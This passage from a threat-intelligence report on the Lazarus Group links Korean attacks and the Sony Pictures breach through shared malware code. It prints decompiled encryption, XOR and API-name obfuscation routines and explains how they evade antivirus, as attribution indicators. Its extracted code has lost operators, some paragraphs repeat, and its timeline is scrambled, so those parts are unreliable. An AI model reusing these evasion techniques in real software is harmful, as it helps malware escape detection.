A hacking attempt to steal South Korean military data reportedly uses a server also seen in the March 2013 DarkSeoul attack.43,44 Due to a lack of publicly available information on the C2 details, Novetta was unable to verify whether or not this attack was related.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 21 March 2014: A hacking attempt to steal South Korean military data reportedly uses a server also seen in the March 2013 DarkSeoul attack34 35.
Due to a lack of publicly available information on the C2 details, Novetta was unable to verify whether or not this attack was related.
Various security researchers have connected multi-staged attacks over a period of several years, largely against South Korean targets.
Attack methods used include hard disk wiping and DDoS attacks that triggered on historically significant dates, overwriting disk content with political strings, using legitimate third-party update mechanisms to move across target networks, specific encryption and obfuscation methods, and using similar C2 structures across campaigns.
We have been able to directly link several of these attacks to the Lazarus Group.
Operation Flame and Operation 1Mission: 2007  2012 IssueMakersLab researchers have connected malicious activity as recent as the March 2013 DarkSeoul wiper attack to activity as far back as 2007,36 as the attackers used the same passwords, RSA encryption keys, and C2 protocol across attacks.37 Since 2012, these attackers have reportedly carried out activities under the name Operation 1Mission, based on a PDB path found in a plurality of the malware linked to identified attack activity.
The group behind Operation 1Mission used legitimate third-party software (an ActiveX vulnerability) as an initial infection vector, shared public RSA key across malware variants for six years, exfiltrated data and downloaded additional malware using Stage 1 C2 servers using the same primary C2 protocol and C2 code, and distributed destructive malware via Stage 2 C2 servers using altered antivirus update files.
The Operation 1Mission TTPs have been reflected in multiple reported events listed in this section as well as in the Lazarus Groups malware: although we cannot confirm a link to the malware used in Operation 1Mission, Novetta has also observed shared public RSA keys across malware families, shared C2 infrastructure between unrelated families, and Stage 1 C2 servers used to distribute and download additional malware tools.
IssueMakerLabs analysis linking DarkSeoul to malicious activity from 2007 has also been supported by Fortinet research, which connected cyber activity from 2007, dubbed Operation Flame,38 to Operation 1Mission, Operation Troy, and the DarkSeoul attack.
While the earliest compilation date for Lazarus Group malware identified by Novetta during this Operation is 2009, Novetta has directly linked Lazarus Group tools to Operation Troy and at least two other attacks that 34  South Korea Detects Suspected North Korea Hacking Attempt.
Security Week.
March 27, 2014.
http://www.securityweek.com/south-korea-detects-suspected-north-korea-hacking-attempt 35  S. Korean military research agency kept mum about hacking.
The Dong-A Ilbo.
April 11, 2014.
http://english.donga.com/List/3/all/26/408162/1 36  South Korea identified whos behind the cyber attack.
IssueMakersLabs.
https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/edit?pli1 37  [] 3.20  ,   (The 3.20 cyber terrorism subject, the realities emerge) boannews.com April 9, 2013.
http://www.boannews.com/media/view.asp?idx35578 38  Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Fortinet.
2014.
https://www.blackhat.com/docs/asia-14/materials/Yang/Asia-14-Yang-Z-Make-Troy-Not-War-Case-Study-Of-The-Wiper-APT-In- Korea-And-Beyond.pdf March 7, 2007: 2009  2013: April 2011: June 2012: March 2014: July 4, 2009: March 2011: 2012: March 20, 2013: November 24, 2014: Development of first generation malware used in Operation Flame, activity that is eventually tied to Operation 1Mission, Operation Troy, and the DarkSeoul 2013 attacks.
A large-scale DDoS attack on US and South Korean websites uses the MYDOOM and Dozer malware, which is suspected to have arrived in email messages.
The malware places the text Memory of Independence Day in the Master Boot Record (MBR).
Ten Days of Rain attack targets South Korean media, financial, and critical infrastructure targets.
Compromised computers within South Korea are used to launch DDoS attacks.
Operation 1Mission campaign, also linked to the March 2013 DarkSeoul attacks, begins.
Attackers behind this activity have reportedly been active since 2007.
DarkSeoul wiper attack targets three South Korea broadcast companies, financial institutes, and one ISP.
Two unknown groups take credit: NewRomanic Cyber Army Team and WhoIs Team.
SPE networks are attacked with destructive malware.
Information stolen from the companys networks is distributed online by previously unknown hacker group Guardians of Peace (GOP).
Operation Troy cyber espionage campaign is active for several years, culminating in the March 2013 DarkSeoul attacks.
DDoS attack targets Nonghyup Bank.
Conservative South Korean newspaper claims to have been attacked unsuccessfully with wiper malware.
Website is defaced by an unknown hacker group, IsOne.
A hacking attempt to steal South Korean military data reportedly uses a server also seen in the March 2013 DarkSeoul attack.43,44 Due to a lack of publicly available information on the C2 details, Novetta was unable to verify whether or not this attack was related.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 22 have been connected by researchers to the DarkSeoul attack (discussed below).
Based on IssueMakersLabs and Fortinets analyses, this could suggest that the Lazarus Group has been actively developing malware and conducting attacks since as early as 2007, or that they have links to another group active since that time.
Operation Troy: 2009  2012 Several of the malware variants collected and analyzed during Operation Blockbuster were reportedly used in the cyber- espionage campaign Operation Troy, active from 2009 to 2012.
This campaign has been connected not only to the March 2011 Ten Days of Rain attacks but also to the widely reported March 2013 DarkSeoul attack on South Korean broadcasters and financial institutions.39 The DarkSeoul wiper malware was said to have been uploaded to networks using prior access from Operation Troys long reconnaissance and data exfiltration campaign.40 The various malware tools used in Operation Troy were linked together by researchers based on shared code, and several of the malware hashes associated with Operation Troy also matched YARA signatures and known malware hashes for several Lazarus Group tools: DeltaAlfa, IndiaJuliett, IndiaGolf, IndiaHotel, LimaDelta, TangoBravo, and WhiskeyBravo (see Section 4.1 for details about the naming scheme used for malware attributed to the Lazarus Group).
Ten Days of Rain: March 2011 The March 2011 Ten Days of Rain attacks were a prolific series of DDoS attacks that targeted South Korean government, military, financial, and corporate organizations as well as U.S. military entities.41 42 The attack used the destructive malware payload identified by Novetta in this operation as WhiskeyBravo, as well as the DDoS malware DeltaAlfa, which was also later tied by researchers to the Operation Troy campaign.
Additionally, an IP address embedded in another malware tool uncovered during the investigation into the Lazarus Group, a variant of SierraJuliett, was used as a first tier C2 server in these attacks.
The Ten Days of Rain attacks also bore many similarities to the July 2009 DDoS attacks against U.S. and Korean sites.43 44 45 Notably, one sample of malware identified in the 2009 attacks includes a suicide script (Section 4.3.4) containing strings that appear to match the suicide script seen with KiloAlfa, a keylogger linked to the Lazarus Groups malware corpus during this operation.
This would suggest that malware code widely used by the Lazarus Group can be linked via code reuse to publicly reported attacks as far back as 2009.
Other attacks on South Korean targets appear to share the same TTPs and infrastructure attributed to the above attacks, such as a June 2012 attack on conservative media organization JoongAng.
An investigation into the attack by South Korean officials found that the attackers used two North Korean servers and 17 servers in 10 other countries.
One of the servers used in the attack on JoongAng was also used in the March 2011 Ten Days of Rain attacks as well as the April 2011 Nonghyup Bank attack.46  The JoongAng attack was claimed by the previously unknown hacking group IsOne.47 Like GOP, IsOne emerged from complete obscurity and has done nothing since.
The attack used destructive malware that reportedly affected databases and the newspaper editing system.
Additionally, the JoongAng Ilbo website was defaced.
The attack followed threats made the previous week by North Korea in response to reporting by South Korean media, though this does not necessarily suggest a motive for the attacker(s).
39  20133 (I tried to summarize the cyber attacks on South Korea in March 2013) piyolog.
March 23, 2013.
http://d.hatena.ne.jp/Kango/20130323/1363986809 40  Dissecting Operation Troy: Cyberespionage in South Korea.
McAfee.
2013.
http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf 41  Ten Days of Rain: Expert analysis of distributed denial-of-service attacks targeting South Korea.
McAfee.
2011.
http://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf 42  Check your zombie device Analysis of the DDoS cyber terrorism against the country and future attacks on various devices.
DongJoo Ha, SangMyung Choi, TaeHyung Kim, SeungYoun Han.
Presentation at Black Hat Abu Dhabi, 2011.
https://media.blackhat.com/bh-ad-11/Ha/bh-ad-11-Ha-Check_Your_Zombie_Devices_Slides.pdf 43  MYDOOM Code Re-Used in DDoS on U.S. and South Korean Sites.
Trend Micro.
July 9, 2009.
http://blog.trendmicro.com/trendlabs-security-intelligence/mydoom-code-re-used-in-ddos-on-u-s-and-south-korean-sites/ 44  McAfee Fingers North Korea in Attacks on South Korean Sites.
Threatpost.
July 6, 2011.
https://threatpost.com/mcafee-fingers-north-korea-attacks-south-korean-sites-070611 45  DDOS Madness Continued FireEye.
July 11, 2009.
https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html 46  North behind hacking attack on JoongAng Ilbo.
JoongAng Ilbo.
January 17, 2013.
http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2965629 47  South Korean paper hit by major cyber attack.
Phys.org.
June 11, 2012.
http://phys.org/news/2012-06-south-korean-paper-major-cyber.html Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 23 DarkSeoul: March 2013 Novetta has not found any definitive links between the publicly reported Jokra/DarkSeoul malware samples used in the March 2013 DarkSeoul attack and identified Lazarus Group malware.
However, the attack has been linked to Operation Troy, as discussed above, as well as the Ten Days of Rain attacks,48 both of which have direct links to the Lazarus Groups malware toolkit.
In addition, it is also worth noting that, as with the SPE attack where a previously unknown hacktivist group took credit, the DarkSeoul attack was claimed by two previously unknown groups: the New Romanic Cyber Army Team and the WhoIs Hacking Team.
The same group behind the March 2013 DarkSeoul attack has also been linked to multiple other attacks over a period of four years, including the July 2009 DDoS attack whose malware shares suicide strings with KiloAlfa,49 a May 2013 attack on South Korean financial institutions, a June 2013 Castov malware attacks on South Korean websites50 and two DNS servers,51 and a December 2014 MBR wiper attack on a South Korean power plant.52 In the case of the June 2013 attacks, the attack reportedly took 6 months to plan,53 during which attackers hacked file-sharing sites, again suggesting an extensive planning period prior to the ultimate attacks.
Using compromised file-sharing sites is a tactic that has been observed in an older Lazarus Group malware family from 2011, LimaDelta.
However, due to a lack of publicly available hashes, Novetta has not been able to analyze these events for any direct links to the Lazarus Groups code.
Based on our hunting method, starting with only a few of the samples publicly linked to the November 2014 SPE attack, Novetta was able to connect attacks since as early as 2009 to shared malware code we have associated with the Lazarus Group.
Work by other security researchers has linked this activity as far back as 2007.
These linked cyber operations over several years, including the SPE attack, suggest actions of a single group, or perhaps very close groups with similar goals who share tools, methods, taskings, and even operational duties.
The span and destructive damage accomplished by these attacks further illustrate that this is a determined adversary with the resources to develop unique, mission-oriented malware tools.
48  Ten Days of Rain: Expert analysis of distributed denial-of-service attacks targeting South Korea.
McAfee.
2011.
http://www.mcafee.com/us/resources/white-papers/wp-10-days-of-rain.pdf 49  Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean War.
Symantec.
June 26, 2013.
http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberat- tacks-against-south-korea-continue-anniversary-korean-war 50  South Korea Blames North Korea for Cyberattack.
Hamodia.
July 17, 2013.
http://hamodia.com/2013/07/17/south-korea-blames-north-korea-for-cyberattack/ 51  Analysis of Korean War Anniversary Cyber Attack and Malware.
Tripwire.
June 27, 2013.
http://www.tripwire.com/state-of-security/vulnerability-management/analysis-of-korean-war-anniversary-cyber-attack-malware/ 52  MBR Wiper Attacks Strike Korean Power Plant.
Trend Micro.
December 23, 2014.
http://blog.trendmicro.com/trendlabs-security-intelligence/mbr-wiper-attacks-strike-korean-power-plant/ 53  http://hamodia.com/2013/07/17/south-korea-blames-north-korea-for-cyberattack/ Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 24 4.
Malware Tooling The tool set used by the Lazarus Group overtime has been extensive.
To date, more than 45 different malware families have been observed, with the bulk of these families containing strong code-based relationships (code sharing).
The Lazarus Groups malware collection breaks down into larger classifications: installers/ uninstallers, loaders, destructive malware, remote administration tools (RATs), data exfiltration tools, attack staging/content distribution, distributed denial of service tools, and specific use tools.
This section will cover the naming scheme used to classify the malware families, the known infrastructure of the Lazarus Group, and the code relationships that Novetta found, allowing us to link all of these malware families together.
To date, more than 45 different malware families have been observed, with the bulk of these families containing strong code-based relationships (code sharing).
C H A P T E R Four Operation Blockbuster: Unraveling the Long Thread of the Sony Attacks 25 4.1  Naming Scheme For Operation Blockbuster, Novetta uses a naming scheme to allow the reader to quickly identify the larger class to which a particular malware family belongs.
The naming scheme consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization (ICAO)s phonetic alphabet,54 commonly referred to as the NATO phonetic alphabet.
The first identifier specifies the general classification of the malware family while the second identifier specifies the specific family within the larger general classification.
For example, RomeoAlfa specifies a RAT family identified as Alfa.
For the purposes of this paper, the term family, with respect to malware grouping, is defined as a collection of like malware samples that have a common code base, design and function with a clear evolutionary path.
Within a single family there may exists variants that exhibit the same primary criteria of the overall family, but have significant evolutionary differences that allow for additional grouping, but not such that the overall design and functionality of the code base changed to the point of dictating the need for an entirely new family classification.
While many of the families are dropped by another family of malware (e.g.
a dropper), a distinction is made between the malware that drops/installs another piece of malware and the family to which the dropped malware belongs because the two families of malware serve two different functions and have two different designs.
FIRST LEVEL IDENTIFIER GENERAL CLASSIFICATION Delta DDoS Hotel HTTP Server India Installer Lima Loader Kilo Keylogger Papa Proxy Romeo RAT Sierra Spreader Tango Tool (Non-Classed) Uniform Uninstaller Whiskey Destructive Malware (Wiper) Table 4-1: First Level Identifiers for the Lazarus Group Family Names and their Classification Meanings There is no temporal component to the second level identifiers given to malware families.
While generally the second identifiers are largely sequential (Alfa, Bravo, Charlie, and so on), the identifier does not indicate that one family came before another chronologically.
Instead, the second level identifiers were assigned by the order Novetta discovered each particular family.
54  International Civil Aviation Organization.
Alphabet  Radiotelephony.
http://www.icao.int/Pages/AlphabetRadiotelephony.aspx Accessed 1 December 2015.
http://www.icao.int/Pages/AlphabetRadiotelephony.aspx http://www.icao.int/Pages/AlphabetRadiotelephony.aspx DELTA DDoS HOTEL HTTP Server INDIA Installer KILO Keylogger PAPA Proxy ROMEO RAT SIERRA Spreader TANGO Tool (Non- classed) LIMA Loader UNIFORM Uninstaller WHISKEY Destructive Malware (Wiper) IndiaGolf IndiaAlpha IndiaBravo IndiaCharlie IndiaDelta IndiaEcho IndiaFoxtrot IndiaHotel IndiaJuliett IndiaKilo IndiaWhiskey IndiaIndia UniformAlfa KiloAlfa DeltaAlfa DeltaBravo DeltaCharlie HotelAlfa PapaAlfa RomeoAlfa RomeoBravo RomeoCharlie RomeoDelta RomeoEcho RomeoFoxtrot RomeoGolf RomeoHotel RomeoMike RomeoNovember RomeoWhiskey SierraAlfa SierraBravo SierraCharlie SierraJuliett-MikeOne SierraJuliett-MikeTwo LimaAlfa LimaBravo LimaCharlie LimaDelta UniformJuliett TangoBravo TangoCharlie TangoDelta TangoAlfa WhiskeyAlfa WhiskeyBravo WhiskeyCharlie WhiskeyDelta DELEE TAHOTELINDIAKILOPAPAROMEOSIERRATANGO LIMAUNIFORMWHISKEY The Lazarus Group Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 27 4.2  Infrastructure Evidence suggests that parts of the infrastructure used for the malware variants set C2 touch points are unaffiliated compromised hosts.
IP addresses used as C2s include mail server and gaming server IPs (some of which have been listed for spam activity), compromised IPs allocated to educational institutions, public VPNs and proxies, and several IPs that have been publicly posted on forums or pastebin posts with associated usernames and passwords.
Given that several identified malware families contain proxy components, it is highly likely that the set C2 touch points are being used as proxies to mask the real C2 server.
In the samples Novetta has collected and analyzed the Lazarus Group almost exclusively uses IP addresses over DNS addresses when specifying C2 server locations.
The plurality of identified IP addresses used by the Lazarus Group geo-locate to the United States.
Other C2 locations include Taiwan, Indonesia, India, and China.
The Lazarus Group also makes use of P2P-based C2 infrastructure, as seen with the malware family SierraJuliett, whose variants are used as content distribution and attack staging platforms.
Notably, such an environment would facilitate access to operators with even low skillsets across all infection instances by providing them a consistent and common operational environment (COE).
Based on samples identified by Novetta, this P2P platform has been under active development since 2011, suggesting it was an early developmental priority for the group, likely due to its effectiveness at facilitating sustained operations.
The importance of such a uniform environment for operations is not limited to threat actors like the Lazarus Group, but is a real-world priority for the U.S. Army,55 56 among others.
This suggests that a cyber COE is integral for any well-organized, resourced group tasked with executing difficult operations with varying levels of expertise at an individual operators level.
55  Common Operating Environment Architecture: Appendix C to Guidance for End State Army Enterprise Network Architecture.
U.S. Army CIO/G-6.
October 1, 2010.
http://ciog6.army.mil/LinkClick.aspx?fileticketudbujAHXm- K03Dtabid79 56  Common Operating Environment assists Army Modernizatio.
Army.mil.
February 15, 2013.
http://www.army.mil/article/96650/Common_Operating_Environment_assists_Army___/ Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 28 4.3  Code Relationships The Lazarus Group reuses a significant amount of code, to the point where the reused code snippets have formed a kind of software development kit.
As a result of this code sharing and reuse, it is possible to link seemingly disconnected malware families together, as mentioned in Section 2.1.
From the extensive similarities of common libraries and shared snippets of code across such a wide variety of malware types, these relationships have allowed Novetta to link the SPE destructive malware to installers, loaders, DDoS malware, network tools, spreaders, RATs, and other destructive malware compiled over a period of several years.
From the extensive similarities of common libraries and shared snippets of code across such a wide variety of malware types, these relationships have allowed Novetta to link the SPE destructive malware to installers, loaders, DDoS malware, network tools, spreaders, RATs, and other destructive malware compiled over a period of several years.
This section will explore the various shared code fragments found throughout the Lazaruss collection of malware in order to provide a better understanding of why these particular pieces of code are prevalent and how the codes manifest themselves.
The shared code breaks down into four major categories: encryption, dynamic API loading, network functionality, and miscellaneous.
An appendix to this report details the specific malware families and how they are linked to the Lazarus Groups collective arsenal by code fragments, and Novetta is releasing additional in depth technical reports that further detail the individual malware families.
4.3.1  Encryption Encryption is a powerful tool for obfuscating the true meaning of information both stored on the victims hard drive in the form of data files or even within a malwares binary, and when the information is traversing a more public arena such as the Internet.
The Lazarus Group has a relatively small set of encryption and encoding schemes that the developer(s) of the various Lazarus Group malware families rely upon.
There are several of these encryption and encoding schemes which make excellent indicators of the presence of the Lazarus Group based on their obscurity and uniqueness.
4.3.1.1  Caracachs Encryption An obscure encryption scheme developed by Alexandre Pukall in 2000, Caracachs is a symmetric stream cipher that takes a minimum of 20 characters (160-bits) as the key.
The C source code for Caracachs is freely available on the Internet,57 but with respect to the implementation of Caracachs within the malware used by the Lazarus group, Caracachs is typically seen encapsulated as a C class rather than a C library.
The most notable feature of Caracachs, when viewed within the binaries of the families that use it, is the stream function.
The source code for this function takes the form seen in Figure 6-1.
57  CARACACHS Cipher http://ftp.icm.edu.pl/packages/replay.old/libraries/caracash/CARACACH.C 15 September 2015 http://ftp.icm.edu.pl/packages/replay.old/libraries/caracash/CARACACH.C Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 29 stream(unsigned int r,unsigned long index,unsigned long a,unsigned long b)  b[index]  ( b[index]  (a) )  1 r  _ rotl( (r  (( b[index]  16 )  0x7fff)), ((r)16) )  Figure 6-1: Caracachs stream Function After compilation, and subsequent decompilation through Hex-Rays, the function takes the form seen in Figure 6-2.
void _ _ stdcall caracachs _ stream(DWORD r, DWORD index, DWORD a, DWORD b)  unsigned int v4 // edx1 char v5 // cl1 b[index]  a  b[index]  1 v4  b[index] v5  ((v4  16)  ( _ BYTE )r)  0xF r  ((((v4  16)  0x7FFF)  r)  v5)  ((((v4  16)  0x7FFF)  r)  (16  v5))  Figure 6-2: Caracachs stream Function after Decompilation The four lines that make up the stream function make a suitable pattern for detecting Caracachs code within a binary.
The authors using Caracachs for Lazaruss malware were not terribly original in their use of the cipher suite.
In many families, the key used to initialize Caracachs is set to abcdefghijklmnopqrstuvwxyz012345\0\0\0\0\0, which is the similar to the key found within the Caracachs source code.
The common function found in multiple families using Caracachs to set the key takes the form seen in Figure 6-3.
void _ _ thiscall CCaracachs::GenerateKey(CCaracachs this)  qmemcpy(this-szPassword, abcdefghijklmnopqrstuvwxyz012345, sizeof(this- szPassword)) this-dwPasswordLength  0x20 CCaracachs::SetKey(this, 0x20u, this-szPassword)  Figure 6-3: Caracachs Classs GenerateKey Function The original source code performs the same key initialization feat by using the code snippet seen in Figure 6-4.
strcpy(code,abcdefghijklmnopqrst) / the password / longueur20 / length of the key up to 256 characters / / init the key / pc3init(longueur,code) Figure 6-4: Establishing the Key for Caracachs in the Original Source Code The authors merely encapsulated the initialization of the cipher within a single member of the C class, all without changing the password or even the order of variable assignments.
This process of reusing entire code snippets without any modifications appears to be repeated by the developer(s) throughout a number of Lazarus Group tools.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 30 4.3.1.2  Basic XOR with Constant 0xA7 It is not uncommon for malware to use a simple XOR to obfuscate strings and data within a binary.
It is also not uncommon for authors to use the same byte across multiple variants of the same malware and even multiple families that can be attributed to the same (set of) authors.
By itself, looking at the XOR function within a binary as an indicator of authorship is usually a poor choice.
However, combined with other attributes of the surrounding code, an XOR function found in multiple variants and families can provide reassurance that those variants and/or families have some code familiarity.
The Lazarus Group uses simple, but somewhat distinct, XOR obfuscation systems.
When dealing with string obfuscations, the Lazarus Group uses the value 0xA7 to transform null-terminated strings by means of XOR each byte within the string by 0xA7.
The 0xA7 scheme is exclusively used for null-terminated strings, as the XOR function depends on a null character to indicate the end of the data to transform.
Slight variations appear between families (Figure 6-5 provides one representative example), but two features of the 0xA7 scheme remain constant: the length of the data to transform is calculated by locating the first null and each byte is XOR transformed against the byte 0xA7.
char __cdecl XorA7(const char pBuffer)  unsigned char pOut  malloc(strlen(pBuffer)  1) int j  0 if ( strlen(pBuffer)  0 )  p  pOut for ( int i  pBuffer  pOut  i  pBuffer  pOut)  j p  p[i]  0xA7 p if ( j  strlen(pBuffer) ) break   pOut[j]  0 return pOut  Figure 6-5: Lazarus Groups 0xA7 Transform Function Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 31 4.3.1.3  DNSCALC-Style Encoding DNSCALC is an older malware family, used by several APT groups and first profiled in 2010, whose claim to fame was the use of DNS lookups for domain names that would return specific IP addresses used to calculate the listening port number for the C2 server.
One notable feature of DNSCALC was the use of a combination of XOR with an ADD operation and XOR with a SUB operation for the purposes of encrypting and decrypting data streams.
Since at least 2011, the Lazarus Group has commandeered this technique for use in a variety of their malware families.
The DNSCALC version of this encoding/decoding scheme performed the transformation operation on each byte using two lines of C code such as d  122 d  25 where the values 122 and 25 constitute the encryption and decryption keys.
The Lazarus Group performs the same operation in a single line of code, such as d  (e  25)  122 and e  (d  122)  25 This subtle, but important, distinction in style indicates that the code was not directly copied from DNSCALC, but rather was inspired by DNSCALC or another source that performs the same transform.
It should be noted that DNSCALC modified the Gh0st RAT MyEncode function, seen below, by reversing the order of operations meaning that the Lazarus Groups use of the encoding scheme represents a derivation of an existing derivation.
char MyEncode(char str)  int  i, len char p char s, data len  strlen(str)  1 s  (char )malloc(len) memcpy(s, str, len) for (i  0 i  len i)  s[i]  0x19 s[i]  0x86  base64 _ encode(s, len, data) free(s) return data  The DNSCALC-style encoding scheme code is heavily used throughout many of the various malware families for which the Lazarus Group is responsible.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 32 4.3.1.4  Space-Dot Encoding Strings, especially when used to dynamically load Windows API functions at runtime, provide a significant amount of surface for antivirus and host-based IDS to detect potentially malicious code.
For this reason, it is not uncommon for malware authors to obfuscate strings that identify the Windows API functions the malware will attempt to dynamically load.
Simple obfuscations are generally more than adequate to defeat string-based detection systems, allowing attackers to use simple XORs or character substitution techniques to get around detection.
The Lazarus Group used a simple method to confuse systems looking for the API names they were to load.
Instead of obfuscating the name by transforming individual characters, the names were interrupted with unnecessary characters such as dots, spaces, greater than, less than, and underscore characters.
This broke up names such as ChangeServiceConfig2A into ChangeServi ceConfig2A.
Novetta has dubbed this scheme of inserting junk characters into API name strings as Space-Dot Encoding based on the fact that the bulk of the implementations of the system only introduces spaces and dots.
In order to recover the original, unmolested string, the Space-Dot decoding function will scan character by character through the supplied string, copying each byte to a global buffer so long as the character does not match one of the undesirable characters.
Upon completion of the function, a pointer to the buffer containing the desired string is returned to the caller.
The function that performs the decoding takes the form of seen in Figure 6-6.
char  _ _ cdecl DecodeString(char pzString)  char p  pzString char b  g _ decodingBuffer memset(decodingBuffer, 0, 0x50u) while ( p )  char c  p if ( p    c    c   _   c     c  . )
b  c p  return g _ decodingBuffer  Figure 6-6: Space-Dot Decoding Function As the usage of the Space-Dot Encoding aged, the authors removed , , and  _  from the character set and instead relied on only spaces and dots to provide the necessary junk characters to throw off detection systems.
The result is a slightly simpler if statement, but otherwise the remainder of the Space-Dot decoding function remained constant throughout the use of the scheme in the Lazarus Groups malware.
4.3.1.5  RSA Encryption Several families within the Lazarus Groups malware collective use public/private key encryption.
Some use the encryption for securing documents that the malware exfiltrates, while others use it for signing and authenticating commands.
Regardless of the use, the malware families using the RSA scheme share a common code library to implement the cryptographic functionality.
Public/private key encryption, or asymmetric encryption, is a form of encryption where the key used to encrypt data differs from the key used to decrypt the data.
The effect of having asymmetric encryption in malware is that the authors and/or operators of the malware can embed the decryption key for commands into the malware while retaining the encryption key for themselves.
This restricts others from issuing commands to the malware since the encryption key is not known, thereby preventing those not associated with the malware from attempting to inject commands.
Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 33 Based on CRSA,58 the Lazarus Groups implementation of RSA wraps the CRSA class into a single function for encryption and decryption (Figure 6-7).
char  _ _ cdecl RSATransform(int mode, char pvKey, int dwKeyLength, char pvIn, int dwOutBufSize, char pvOut, DWORD pdwOutputLength)  int v8 // ecx2 int v9 // eax4 char result // eax7 signed int v11 // eax12 CRSA rsa // [sp10h] [bp-58h]1 int eh // [sp64h] [bp-4h]1 CRSA::CRSA(rsa) eh  0 if ( pvOut ((v8  (dwKeyLength  7)  3, mode)  mode  1 ?
(
v9  (dwOutBufSize  1) / (v8  8)  1) : (v9  (dwOutBufSize  1) / v8  1, v8 - 8), (pvOut  (char )LocalAlloc(0x40u, v8  v9))  0) )  if ( mode  mode  RSA _ PUB _ DEC ) CRSA::SetPrivKey(rsa, pvKey, dwKeyLength) else CRSA::SetPubKey(rsa, pvKey, dwKeyLength) v11  CRSA::transform(rsa, mode, pvIn, dwOutBufSize, pvOut) if ( pdwOutputLength ) pdwOutputLength  v11 eh  -1 CRSA::Dstr(rsa) result  pvOut  else  eh  -1 CRSA::Dstr(rsa) result  0  return result  Figure 6-7: The Lazarus Groups RSA Encapsulation Function as seen after Decompilation The RSATransform function is a unique implementation that appears to be specific to the Lazarus Group, thereby making it a valuable identifier of malware related to the group.
The function can operate in one of four modes: public key encryption, public key decryption, private key encryption, and private key decryption.
However, across the various identified samples that use RSATransform, only the public key encryption and decryption modes have been observed by Novetta.
58  RSAUtil.cpp RSA.cpp http://read.pudn.com/downloads145/sourcecode/windows/system/633068/RSAUtil/RSA.cpp__.htm 16 March 2004 http://read.pudn.com/downloads145/sourcecode/windows/system/633068/RSAUtil/RSA.cpp__.htm Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 34 4.3.1.6  Shared Public Key While not necessarily a shared library, the use of a common public key is a definitive, identifiable characteristic that can link multiple families of malware to a common actor or actor set.
With respect to the Lazarus Group, there is a common public key that is used in multiple families within the groups collective.
This fact would indicate that there is a single private key that is shared across malware for decryption/authentication, controlled by the Lazarus Group.
The reuse of cryptographic keys has also been discussed by security researchers profiling both Operation Troy and Operation 1Mission.
Found originally in a variant of SierraJuliett59 family of malware from 2011, the following 1024-bit key has been identified in malware as recently as 2015: 47A713F89BBC74CBCE771E0F00A039561BC566F394B1EA2271DE2B42CCE9F72F31E722B06FBB0203FC0A2F51E- ED054250EE34FF09FBAE7AC20D694E6BAD3AB4CD98CFD1C7FBA4875E5853966881EE9C9745106DECBC1D13747B- 61C629AB2DCFCB809CE88C5927DF017E75B8262F96AE4EEDBE65DC9185D202A32C3E807CD99CE To date, the 1024-bit key has been observed in samples from the RomeoWhiskey, SierraBravo, and SierraCharlie families.
4.3.2  Dynamic API Loading Dynamic API loading is a technique in which the standard Windows functions LoadLibrary and GetProcAddress are used to dynamically load desired API functions at run time.
The import table of a binary can easily give away the intent of the executable.
For example, a binary that has SetWindowsHookEx and several of the Winsock API functions is most likely a network-capable keylogger.
As such, certain combinations of API function imports can indicate suspicious behavior, allowing antivirus vendors to use such indicators when determining the intent of a binary through their various heuristic detection schemes.
Therefore, it is beneficial for malware authors to obfuscate the more severe or telling API functions they need to load and keep these functions out of the import table of the binary.
This leads to the use of dynamic API loading schemes.
Dynamic API loading allows the malware authors to remove the names of the telling APIs from the import table but still requires the malware authors to provide the full name of the desired API functions to GetProcAddress.
This leads to another facet of dynamic API loading: API name obfuscation.
GetProcAddress, in order to load any API function into memory, requires either an ordinal number identifying the API function in question or the name of the API function.
It is rare that the ordinal number is used, as the ordinal number could, in theory, change from version to version of Windows and therefore requires a significant amount of code maintenance on the part of the author.
However, API names do not change between versions, so authors can simply obfuscate the name of the desired API functions up to the point of calling GetProcAddress.
The obfuscation of API names, in string form within the binary, can allow malware authors to avoid string-based signature detection which increases the chances of a malware binary evading simpler AV signature detection.
Additionally, the use of API name obfuscation requires additional work on the part of the reverse engineers analyzing the malware since the analyst must now reconstruct the original API names.
A common feature of the malware families under the Lazarus Groups umbrella is the use of dynamic API loading.
The structure of dynamic API loading in most malware is typically to decrypt the API name string then load the API via GetProcAddress.
The Lazarus Group adheres to this same model.
However, it is the use of the decryption schemes that are specific to the Lazarus Group and allow for easy identification of malware related to the group.
There are two predominate versions of dynamic API loading found in the majority of the Lazarus Groups malware: XOR 0xA7 with Space-Dot (Figure 6-8) and simply XOR 0xA7 (Figure 6-9).
59  reference to external report Operation Blockbuster: Unraveling the Long Thread of the Sony Attack 35 Figure 6-8: Dynamic API Loading Function using Both XOR 0xA7 and Space-Dot Encoding XOR 0xA7 Decryptor GetProcAddress Figure 6-9: Dynamic API Loading Function Utilizing only a Single Encoding Scheme (XOR 0xA7) Another feature of the dynamic API loading used by the Lazarus Group is not immediately apparent at first glance: consistency.
Typically, when the Lazarus Group uses dynamic API loading within a binary, each function will load one DLL at a time.
For example, there is a function that will load the necessary API functions from kernel32.dll, there is another function for loading API functions from advapi32.dll, and so on.
These individual functions are shared across samples both within families and among other families.
The dynamic API loading functions generally are not tailored for a specific malware family.
This is seen in many examples where a dynamic API loading function will load API functions into memory that the malware does not use it, or even reference it, beyond the initial load.
This indicates that the dynamic API loading functions are part of a larger library of functions and, as such, provide a viable indicator of code specific to the Lazarus Group.
4.3.3  Network Functionality The way a developer interacts with a network touch point can provide a fingerprint of the developer.
